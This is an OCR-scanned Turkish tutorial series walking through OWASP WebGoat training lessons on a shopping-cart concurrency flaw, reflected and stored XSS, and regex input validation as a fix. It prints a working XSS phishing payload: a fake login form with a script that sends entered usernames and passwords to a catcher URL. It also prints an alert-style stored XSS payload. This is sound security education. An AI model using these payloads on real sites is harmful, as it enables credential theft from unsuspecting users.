Hewlett-Packard - All-in-One Laser Printer $299.00 1 $299.00
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[#& shopping Cart Co

€ @ localhost
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Shopping Cart Concurrency Flaw

¥ OWASP WebGoat v5.4

E‘;’:Edr';fmn Solution Videos Restart this Lesson
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iJAi( Security Flaw Forthis exercise, your mission is to exploit the concurrency issue which will allow you to purchase
uthentication Flaws merchandise fora lower price
Buffer Overflows
Code Quality
Concurrency
® Place your order
Thread Safety Problems Shopping Cart Items Price (Quantity |Subtotal
(] Hitachi - 750GB External Hard Drive $169.00 0 £0.00
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OWASP WebGoat v5.4
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General Solution Videos Restart this Lesson
Access Control Flaws
AAXSecurity For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
Authentication Flaws i i
merchandise for a lower price.
Buffer Overflows
Code Quality
Concurrency * Thank you for shopping! You have (illegally!) received a 83% discount. Police are on
@ the way to your IP address.
Thiead Safety Problems * Congratulations. You have successfully completed this lesson.
o Shopping Cant
Concunency Flaw Thank you for your purchase!
ICruser\teESEr\D;mgd:_}(ss'\ Confirmation number: CONC-88
mproper Error Handling
Injection Flaws Shopping Cart Items Price |Quantity | Subtotal
Penla\ DTCSENICE Hitachi - 750GB External Hard Drive $169.00 0 $0.00
ati -
Ineecure Configuration Hewlett-Packard - All-in-One Laser Printer $299.00] 0  |$0.00
:;‘SIE(L”E SE[DTEQP Sony - Vaio with Intel Centrino $1799.00 1 $1,799.00
alicious Execution -
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Web Services Total Amount Charged to Your Credit Card: $299.00
Admin Functions
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Return to Store
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! Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Peki biz ne yaptik da ucuz Urln fiyatina pahal Urdn alabildik? Ucuz Urln fiyatina pahali tGrln
alabilmemimizin nedeni kredi kartindan kesilecek fatura miktarini tutan calcTotal adh
degiskenin kritik noktalarda guncellenmemesinden dolayidir. Mdasteri ucuz drlnle
onaylama(Confirm - Cancel) asamasina geldiginde zaten calcTotal degdiskeni hesaplanmistir.
Clnkl  calcTotal degiskeni  sadece Purchase(Satin  Al) butonuna  basilmasiyla
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hesaplanmaktadir. Bundan 6nceki asamada yer alan Sepeti glincelle(Update Cart) butonuna
basildiginda ise calcTotal hesaplamasi yapilmamaktadir. Miusteri B penceresinde sepeti
glncelle dediginde B penceresindeki Urin adetlerini guincelledigi gibi A penceresindeki
sepetleri de guncellemigtir. Clnkl ayni istemci ve ayni oturum ile siteye bagli bulunmaktayiz
ve dikkat edin: Henlz B penceresinde Purchase butonuna basmadik. Dolayisiyla heniz kredi
kartindan kesilecek para miktari degismemistir. A penceresindeki mevcut hesaplanmis
calcTotal ucuz fiyatta iken gorsel planda olmasa da B penceresinde sepeti glincelledigimiz igin
sunucudaki degiskenler bazinda ucuz Urinin adeti 0 olmustur ve pahali Grinin adeti 1
olmustur. A penceresindeki onayla(Confirm) butonuna tiklanildiginda sunucudaki son guincel
calcTotal ile son guincel Griin miktarina sahip Gridn alinmis olur.

Ozetleyecek olursak A penceresi calcTotal'l ucuz Uriin fiyatiyla doldurttu. B penceresi de sepeti
pahali Urinle doldurttu. A penceresinde Confirm butonuna basarak ucuz calcTotal degeri ve
pahali sepet ile aligverisi noktalamis oluyoruz.

Bu ac¢idi kapatmanin yolu her ¢ duruma da(Update Cart, Purchase ve Confirm) calcTotal
hesaplamasinin dahil edilmesidir. Boylece yapilan her bir degisiklik kredi kartindan kesilecek
fatura degerini degistirecektir ve eszamanlilik bug'i ortadan kalkacagindan ucuz urln fiyatina
pahali Gran alinmasi gibi bir durum ortadan kalkmis olacaktir.
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DERS 29 - CROSS-SITE SCRIPTING (XSS) > PHiSHING WITH XSS

Cross-Site  Scripting  (XSS) Unitesinin  ilk dersi olan Phishing with XSS(XSS ile
Yemleme) dersinde Reflected XSS(Yansitiimis XSS) saldinsinin ne kadar tehlikel
olabileceginden bahsedilecektir.

Dersin Hedefi

Kullanici olarak siz ders ekranina kullanici adi ve sifre soran bir form ekleyebilmelisiniz. Form
submit'lendiginde kullanici adi ve sifre
bilgileri http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&passw
ord=catchedPasswordName adresine gitmelidir.

Aciklamalar

Bu dersin basinda bahsedilen reflected XSS saldirisi bir XSS saldirisi tlrtdar. XSS saldirilar
ikiye ayrilmaktadir: Birincisi Stored XSS(Depolanmis XSS) saldirisidir, ikincisi ise Reflected
XSS(Yansitimis  XSS)  saldinsidir. Bu ikisi hakkinda  detayl bilgiyi Ders
18'in Aciklamalar bashgi altinda bulabilirsiniz.

Kullanicidan gelen input degerlerinin her daim sunucu tarafinda denetime tabi tutulmasi iyi bir
uygulama o6rnegidir. XSS saldirisi, yani Cross Site Scripting saldirisi HTTP yanitlarinda
denetlenmemis kullanici input'lar kullanildiginda meydana gelir. XSS ile phishing saldirisi,
yani yemleme saldirisi gergeklestirebilirsiniz. Phishing saldirisi Password, Harvesting ve
Fishing kelimelerinin birlesiminden olusturulmus bir tabirdir. Bu saldiri tiri ile kot niyetli kisi
kurban kisiyi kandirmaya ve verilerini galmaya ¢alisir. Bunun igin orijinal bir bankacilik sitesinin
sahtesini(kopyasini) yapabilir ve banka hesap bilgilerini kurbandan calabilir, email ile mesela
bir bankadan goénderiliyormus gibi suslu bir posta kurbana gonderir ve kurbandan kullanici
bilgilerini isteyebilir ya da XSS agigina sahip bir web sitesinin belli bir kismina bu derste oldugu
gibi bir form ekleyerek kullanicinin orjinal site icerisinde olan bu sahte forma bilgi girmesini
bekleyebilir. Yani nasil bir balik¢i baligi tutabilmek igin kancasinin Gzerine baligin yiyebilecegi
yemi koyarak bir baligi tongaya disurtp agzini kancaya takmasini bekliyorsa phishing saldirisi
da bu mantalitede c¢alisan, kurbanin kancaya takilmasini bekleyen bir saldiri tartdur.

Bu derste XSS acigindan faydalanarak orijinal web sayfasina(ders ekranina) bir form
eklemesinde bulunacagiz. Boylesi bir saldirida web sitesi orijinal oldugu i¢in saldirinin kurban
tarafindan anlasiimasi ¢cok zordur. Bu ylzden web sitesi gelistiricilerinin bu saldiri tirinG
dikkate almasi ve sunucu tarafinda kullanici girdilerini denetime tabi tutmasi elzemdir.

Dersin Coziimi
XSS ile varolan bir sayfaya yeni icerik eklemek mimkindur. Bu dersin ¢ozimu birlestiriimesi
gereken iki parcadan olusmaktadir:

o Kurbanin doldurmasi gereken bir form
o Formu okuyacak ve girilen bilgileri toplayip saldirgana gonderecek bir script

Kullanici adi ve sifreli bir form asagidaki gibi olusturulabilir:
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1
</form>
2
<formname="phish">
3
<br><br>
4 <hr>
5
6 <h3>This feature requires account login:</h3>
7 <br><br>
8
9 Enter Username:<br>
10 <input type="text" name="user"><br>
11
12 Enter Password:<br>
13 <input type="password" name="pass"><br>
</form>
14
<br><br>
15
<hr>
16

Yukaridaki kodun en basindaki form kapatma etiketi olan </form> etiketi ders ekraninin
<form etiketini kapatmak icindir. Béylece kendi form'umuzu dersin form'undan sonraya
ekleyebilmekteyiz. Sirada bu form'a girilen hesap bilgilerinin saldirganin gosterdigi hedefe
gOnderilmesini saglayan script kodlar vardir:

<script>
1
function hack () {
2
XSSImage=new Image;
3 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
4 document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert ("Had this been a real attack... Your credentials were just stolen.
5 User Name = "+ document.phish.user.value + "Password = "+

document.phish.pass.value) ;

}

</script>

Bu script form'daki girilen verileri okuyacak ve gosterilen hedefe verileri génderecektir.
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Son adim script'i ve form'u beraberce birlestirmektir. Fakat son kiguk bir seye daha ihtiyag
vardir. Form'a script'i tetikleyecek bir submit butonu eklemek gerekmektedir. Bunu
onclick="myFunction() ile gerceklestirebiliriz:

1 <input type="submit" name="login" value="login" Onclick="hack()">

XSS saldirisi igin arama kutusuna girecegimiz kodun son hali asagidaki gibidir:

1

</form>
2

<formname="phish">
3

<br><br>

4 <hr>
5
6 <h3>This feature requires account login:</h3>
7 <br><br>
8
9 Enter Username:<br>

10 <input type="text" name="user"><br>

11

12 Enter Password:<br>

13 <input type="password" name="pass"><br>

14
<input type="submit" name="login" value="login" Onclick="hack () ">
15
</form>

<br><br>

17<hr>

18
19

20<script>
21 function hack () {
22 XSSImage=new Image;

23 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + "";

24
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25 alert ("Had this been a real attack... Your credentials were just stolen.

User Name = " + document.phish.user.value + "Password =
26document .phish.pass.value) ;

27 }

</script>

Yukaridaki saldiri kodunu ders ekraninda sunulan arama kutusuna yapistirin
ve Search digmesine tiklayin. Ekrana bir login formu gelecektir.

WebGoat Search

This facility will search the WebGoat source.

Search: |</form= <form name="phish"> <t

Search

Results for:

This feature requires account login:
Enter Usemame:

Enter Password:

login

No results were found.

Bu formdaki kullanici adi ve sifre i¢in rasgele seyler girin. Ardindan Login dugmesine tiklayin.

Ekrana bir javascript popup'l gelecektir. Bu popup size bilgilerinizin ¢alindigini sdylecektir.
Gunku yukarida hazirladigimiz script kodunu bdyle ayarladik. OK digmesine basarak dersi
tamamlamis olursunuz.

Sonug¢

Yukarida hazirladigimiz reflected XSS saldirisi kodunda bir saldirgan girilen bilgilerin
gonderilecegi hedef olarak kendi sitesini kodlamada belirleyebilir. Boylece kendi sitesindeki
web programlama dili ile kendisine gelen kullanici adi ve sifreleri veritabanina kaydedebilir.
Goriunuste reflected XSS zararsiz gortinse de aslinda bu derste de gérdiigimuz tzere ¢ok
zararl bir saldiridir. Orijinal sitenin i¢ine bir login formunun eklenmesi kurbani kolaylikla
aldatabilir. Clnki kurban orijinal web sitesine glveniyor olacaktir. Bu saldiri yénteminden
korunmanin yolu kullanicinin veri girebilecedi arama kutusu gibi yerlerden gelen veriler
sunucu tarafinda web programlama dili ile denetlenmelidir. Bu ders ekranindaki arama
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kutusu web programlama dili ile denetlenseydi kullanicinin girdigi veriyi kabul etmeyip ekrana
bir login formu yansitiimasini énlemis olacakti.

Script koduna dikkat ettiyseniz resim kodlari kullaniimis. Bdyle olmasinin bir nedeni var.
Resim kodlari kullanici sayfayi goruntuler géruntilemez sunucuya resmi ver
seklinde otomatik olarak talep génderen sayili html kodlarindan bir tanesidir.

<script>
1
function hack () {
2
XSSImage=new Image;
3 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
4 document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert ("Had this been a real attack... Your credentials were just stolen.
5 User Name = "+ document.phish.user.value + "Password = "+

document.phish.pass.value);

}

</script>

Resim kodlarinin bu 6zelliginden faydalanarak biz resim kodunun resim linki kismina
saldirganin internet adresini girdik ve bdylece "resmi bana ver" talebinin yapildigi sunucuyu
degistirmis olduk. Ayrica sunucuya "resmi bana ver" degil de su "kullanici bilgilerini al" seklinde
resim linki yerine farkl bir link koyarak saldirganin sunucusuna girilen kullanici adi ve sgifreyi
gondermis olduk. Hem de sayfa degistiriimeden...
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DERS 30 - CROSS-SITE SCRIPTING (XSS) > STAGE 1: STORED XSS

Cross-Site  Scripting (XSS) Unitesinin ikinci dersi olan Stage 1: Stored XSS(Asama 1:
Depolanmig XSS) dersinde Stored XSS saldirisi gerceklestirilecektir.

Dersin Hedefi
Tom kullanicisi olarak Edit Profile sayfasindaki Street metin kutusuna karsi bir Stored XSS
atagr dizenleyin. Jerry adh kullanicinin saldiridan etkilendigini dogrulayin. Kullanici
hesaplarinin sifreleri verilen isimlerin kiglk harfli halleridir. Mesela Tom Cat kullanicisinin
sifresi tom 'dur.

Aciklamalar

Tum input'lari(girdileri) arindirmak iyi bir programcilik érnegidir. Ozellikle sonradan igletim
sistemi komutlarina, script'lere ya da veritabani sorgularina parametre olarak kullanilacak
input'lar bu arindirmadan ge¢melidir. Bilhassa kalici olarak bir yerlerde depolanacak igerik
onemlidir. Kullanicilar, bagka kullanicilarin istenmeyen sayfa yuklemesine ya da istenmeyen
icerik yuklemesine neden olabilen mesaj icerigi olusturamamalilar. E§er olusturabiliyorlarsa
site XSS agigina sahiptir denir. XSS saldirisinin iki trd vardir: Birincisi Stored XSS, ikincisi
Reflected XSS'tir. Eger zararli kod iceren mesaj veritabanina kaydolmussa buna Stored XSS
denir. Eger zararli kod iceren mesaj web sitesinin linkinin sonuna eklenmisse buna Reflected
XSS denir. Reflected XSS'de olusturulan zararl link bir forumda paylasilarak ya da eposta
yoluyla gonderilerek tiklanilmasi saldirgan tarafindan umulur.

XSS saldiri tarleri ve tanimlari hakkinda detayl bilgi daha dnce paylasiimisti. Dilerseniz Ders
18 linkindeki XSS, Stored XSS ve Reflected XSS basliklarindan detayli bilgiye ulagabilirsiniz.

Dersin Coziimi

Tom olarak tom sifresi ile ilk girisinizi yapmak igin ders ekranindaki asagi acilir listeden Tom
kullanicisini  secin.  Sifreyi  girdikten sonra acgillan panelden View Profile(Profili
Gériintile) butonuna tiklayin. Simdi ekrana Tom'un profili gelmis olmalidir. Edit Profile(Profili
Diizenle) butonuna tiklayin ve street yazisinin yanindaki metin kutusuna bir XSS kodu girin.
Mesela <script>alert("haha");</script> kodunu girebilirsiniz.
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o

& Goat Hills Financial

Jﬂ Human Resources
[a Welcome Back Tom - ‘I
First Name: Tom Last Mame: Cat |
Street: .:scripbalert{"haha"):dfsk City/State: |New York. NY |
Phone: 443-599-0762 | Start Date: [1011999 |
SSN: 792-14-6364 Salary: 60000 |
Credit Card: 5481360857968521 Credit Card 30000 |
Comments: Co-Owner Manager: | Tom Cat [=]

HA
. . Disciplinary

Disciplinary h
Explanation: g?t'g;': 0 |
ViewProfile || UpdateProfile Logout

Kodu girdikten sonra UpdateProfile(Profili Glincelle) butonuna ve ardindan LogOut(Cikis
Yap) butonuna tiklayin. Simdi Jerry olarak jerry sifresiyle giris yapin. Ekrana gelen profil
sayfasindaki siralanan isimlerden Tom'u secin ve ViewProfile butonuna tiklayin. Boylece
Tom'un amiri Jerry, Tom'un profilini gérintilemis olur. Fakat o da ne? Tom'un profili
goruntulenirken ekrana Jerry'nin beklemedigi bir popup gelecektir. Tebrikler. Dersi bagariyla
tamamladiniz.

( LAB: Cross Site Scri... %

‘(' @ localhost:8080/WebGoat/attack?Screen=20&menu=900

Waitina for localhost

Sonug¢
Biz bu derste XSS kodu olarak zararsiz bir javascript komutu girdik. Fakat bu yolla daha tesirli
javascript komutlari girilebilir. Mesela Tom, amiri Jerry'nin profilindeki maas verisini kendi
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sitesine bir ajax kodu ile ne kadar denememis olsak da teorik olarak yollayabilir. Dolayisiyla
bdylesi saldirilara firma sahipleri meydan vermemek igin kullanici profili diizenle sayfasindaki
metin kutularini denetlemeye tabi tutmalidirlar, zararlh kod girisi tespit edildiginde web
programlama dili ile kodun veritabanina kaydolmasini engellemelidirler.
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DERS 31 - CROSS-SITE SCRIPTING > STAGE 2: BLOCK STORED XSS
USING INPUT VALIDATION

Cross-Site Scripting (XSS) unitesinin Gglincu dersi ve 2.asamasi olan Stage 2: Block Stored
XSS using Input Validation(Asama 2: Girdi Dogrulama Kullanarak Depolanmig XSS'i
Engelleme) dersinde ilk asamada yapilan Stored XSS saldirisinin kullandidi acigi bu asamada
kapatmaya c¢alisacagiz.

Dersin Hedefi

Firmanin insan kaynaklari otomasyonuna énceki derskteki gibi stored XSS atagi yapildiginda
bu xss kodunun veritabanina kaydolmasini engellemek igin otomasyonu kontrol eden kodlari
dizelt. Ardindan Eric'in profiline dnceki derste yaptiginiz sekilde XSS kodu ekle ve onun amiri
olan David'in saldiridan etkilenmedigini teyit et.

Dersin Coziimi

Bu ders WebGoat'un gelistirici sirimunu kullananlar icindir. Clnku ancak gelistirici sGrimuana
kullanan kullanicilar kaynak kodda degisiklik yapabilmektedir. Biz bu yazi dizisinin bagindan
beridir WebGoat'un standard versiyonunu kullandigimiz i¢in bu dersi tamamlayamayacagiz.
Fakat bu dersin verdigi bilgiyi teorik olarak 6ziimseyebiliriz. O ylzden simdi ¢c6ziime gecelim.

Oncelikle XSS kodunun veritabanina dahil edildigi otomasyonun profil diizenleme sayfasindaki
tim metin kutularini girdi denetleme kodu ile denetleyelim. Bdylece denetleme mekanizmasi
XSS tird kod tespit ettiginde hata firlatsin ve akisi degistirsin. Akisin degismesiyle girilen veri
veritabanina kaydolmamis olacaktir. Bunun icin denetleme mekanizmasinda kullanilacak olan
yontem regular expression diye tabir edilen, diizenli ifadeler diye cevirebilecedimiz segenektir.
Regular expression ile kabul edilecek karakter setini bigcimlendirip olusturdugumuz karakter
setinin disinda bir karakter, metin kutularina girildiginde hata firlatimasi saglanacaktir.
Veritabanina kayit islemi éncesine eklenecek kod su sekildedir(NOT: Bu kod eger gelistirici
versiyonunu  kullaniyorsaniz  UpdateProfile.java dosyasindaki parseEmployeeProfile()
methodunun igine koyulmalidir. UpdateProfile.java'yi dilerseniz su adresten detayli bir sekilde
inceleyebilirsiniz):

String regex = "[\\s\\w—, ]*";
1
String stringToValidate = firstName + lastName + ssn + title + phone +
2 addressl + address2 + startDate + ccn + disciplinaryActionDate +
disciplinaryActionNotes + personalDescription;
3
Pattern pattern = Pattern.compile (regex);
4

validate (stringToValidate, pattern);

Yukaridaki regex degiskeni karakter seti uzayini ifade eden bir pattern, yani desen degeri
almaktadir. Bu karakter seti uzayini olusturan desen bilesenleri su anlama gelmektedir:

\s : Beyaz bosluk(space)

\w : a'dan Z'ye, A'dan Z'ye tim kelimeler(words) ve 0'dan 9'a tim rakamlar
- : tire

, - virgul
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*: Onceki desene uygun 0 ya da sayisiz tane karakter

Yukaridaki desen bilesenleri karakter uzayinda barinabilecek karakterleri ifade etmektedir.
Kodda yer alan stringToValidate degiskeni ise otomasyonun profil dizenleme sayfasindaki
tum metin kutularinda yer alan verilerin birlesimini icinde tutmaktadir. pattern degiskeni ise az
once bahsettigimiz kabul edilen karakter uzayina uygun desen nesnesinin referansini
tutmaktadir. Bu nesne, kiyaslamada kullanilacaktir. validate() methodu sayesinde karakter
uzayi ile yani desen ile metin kutularinin verileri kiyaslanir. Kiyaslama sonucunda eger metin
kutularindan birine desene uymayan bir karakter girilmisse validate() fonksiyonu hata
firlatacaktir ve veriler veritabanina kaydolmayacaktir.

Kodu diizeltme islemi sonrasi Eric olarak otomasyona giris yapin. Onceki dersten
hatirlayabileceginiz GUzere otomasyon sifreleri kullanici adlarinin ki¢ik hali idi. Dolayisiyla
Eric kullanicisinin sifresi eric 'tir. Onceki derste oldugu gibi otomasyondan Eric'in ViewProfile
butonuna, ardindan EditProfile butonuna tiklayin ve Street yazisinin yanindaki metin
kutusuna <script>alert("haha");</script> yazin.

* Goat Hills Financial

% Human Resources
[ o

Please Login
Eric Walker (employee) =

Password [-ml l

Login
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7

>

Goat Hills Financial

Human Resources

I'rm Welcome Back Eric - 5taff Listing Page

(4

Eelect from the list below

Eric Walker (employee)

| SearchStaff |
ViewProfile %

| Logout |

-
“ Goat Hills Financial
¢ oat S rinan
Jﬁ Human Resources
= Welcome Back Eric -
[ o
First Name: Eric Last Name: Walker
Street: 1160 Prescott Rd City/State: e Yok
Phone: 410-887-1193 Start Date: 12152005
SSN: 445-66-5565 Salary: 13000
Credit Card: NA Credit Card Limit: 0
. Late. Always needs help. Too
Comments: intern-ish. Manager: 107
Disciplinary Bothering Larry about Disciplinary Action 101013
Explanation: webgoat problems Dates:
ListStaff | EditProfile | Logout |
b

T
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< Goat Hills Financial

L& Human Resources

Wﬂlmm Back Efic = u
First Name: |Eric Last Name: |Walker

Street: ciyrsate: (New York, NY
Phone: 410-887-1193 Start Date: | 12152005 I
SSN: 445-66-5565 salary 13000 '
Credit Card: |NA Elr;?tut Card !

I
Comments: |Late. Always needs help. Too inter|| Manager: | Eric Walker :

-

Bothering Larry

R, X Disciplinary
Disciplinary |about webgoat ‘
Explanation: |problems gcatt'g:: 101013

ViewProfile | UpdateProfile Logout

L.

XSS kodunu girdikten sonra UpdateProfile butonuna tiklayin ve LogOut butonu ile
otomasyondan Eric olarak ¢ikis yapin. Su ana kadar yaptiginiz sey Eric olarak kendi profil
bilgilerinizden birine XSS kodu dahil etmeniz ve veritabanina dylece kaydedilmesini
saglamanizdir. Simdi ise Eric'in amirinin kendi otomasyon hesabina girip Eric'in profil
bilgilerini gértintilenmesi gerekmektedir. Amirin bu profil gériintilemesi sonucu eger ekrana
koddan dolayi bir popup mesaiji gelirse Eric'in amirinin saldiridan etkilendigi sonucuna
varacagiz. Simdi Eric'in amiri olan David olarak otomasyona giris yapin.

* Goat Hills Financial

s  Human Resources
[

(4

Please Login
David Giambi (manager) -

4 Login

Sirali personellerden Eric'i segip ViewProfile butonuna tiklayin.
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¢ Goat Hills Financial

1 Human Resources

I'ifi" Welcome Back David - Staff Listing Page

g

Gelect from the list below

Eric Walker (employee

David Giambi (manager)
Bruce McGuirre (employee)

Logout

Sean Livingston (employee) Searchstaff

ViewProfile H

Daha 6nce Eric'in kendi profiline dahil ettigi XSS kodu amirinin ekraninda énceki

asamanin aksine ¢alismayacaktir.

¢ Goat Hills Financial

I Human Resources

P Welcome Back David - ]
First Name: Eric Last Name: Walker
‘ Street: 1160 Prescott Rd City/State: N Yorks
Phone: 410-887-1193 Start Date: 12152005
S5M: 445-66-5565 Salary: 13000
Credit Card: MNA Credit Card Limit: 0
. Late. Always needs help. Too ~
Comments: intern-ish. Manager: 107
Disciplinary Bothering Larry about Disciplinary Action 101013
Explanation: webgoat problems Dates:
ListStaff Logout
L

Gunku sari ile vurgulanan profil bilgisine bakacak olursaniz XSS kodu veritabanina regular
expression'li denetleyici sayesinde kaydedilmemistir. Dolayisiyla ¢alistirilacak bir saldiri kodu
ortada yoktur. Bu demektir ki eklenilen girdi denetleme mekanizmasi dogru bir sekilde
calismaktadir. Bu sekilde dersi eger gelistirici versiyonunu kullaniyor olsaydiniz tamamlamis

olacaktiniz.

Sonug

Girdiler bu dersteki gibi web programlama dili ile denetlenmelidir. Bu denetlemenin kisiti size
kalmigtir. Dilerseniz bu dersteki gibi kabul ettiginiz karakter setlerini kabul eden, gerisini ise
kabul etmeyen bir yaklagsimi uygulayabilirsiniz, dilerseniz sadece kendi olusturdugunuz kara
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liste (zararli kodlar listesi) ile kullanicinin girdigi verileri kiyaslayarak bir denetim kurabilirsiniz.
Bu size kalmis bir seydir.

Sorumluluk Reddi

Eu makale ve bu makalenin yer aldig) makale zincirinde anlatilan her bir teknigin izinsizce bir sisteme
denenmesi sonucu tespit edimeniz durumunda 5 ila 10 yil hapis cezasina carptinlabilecedinizi ve
aynyetten yapti@iniz hasara oranla maddi tazminat cezasina carptirnilabilecedinizi  bildiginizi
varsayryorum. Tom bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili
olursaniz olun "glvenilmez” damgas! yiyecedinizden Tlrkiye'de siber glvenlik sektdrind unutmak
mecburiyetinde kalacagimizi da bildiginizi varsayiyorum. Bu makale ve bu makalenin yer aldidi
makale zincirinde editim amach anlatilan tekniklerin kdti yonde kullaniimasindan tarafim sorumlu
tutulamaz. Bu bilgiler sadece ve sadece Ulkemizde siber glvenlik alanindaki eleman eksikligini
gidermek maksadiyla paylasiimaktadir. Makale icerisinde yer alan bazi kelime kalplannin (&m;
"sizmalk istedigimiz / saldirmak istedifimiz" gibi) sadece ve sadece bir sizma testci (pentester) bakiz
agisindan ibaret oldudunu beyan etmek isterim.
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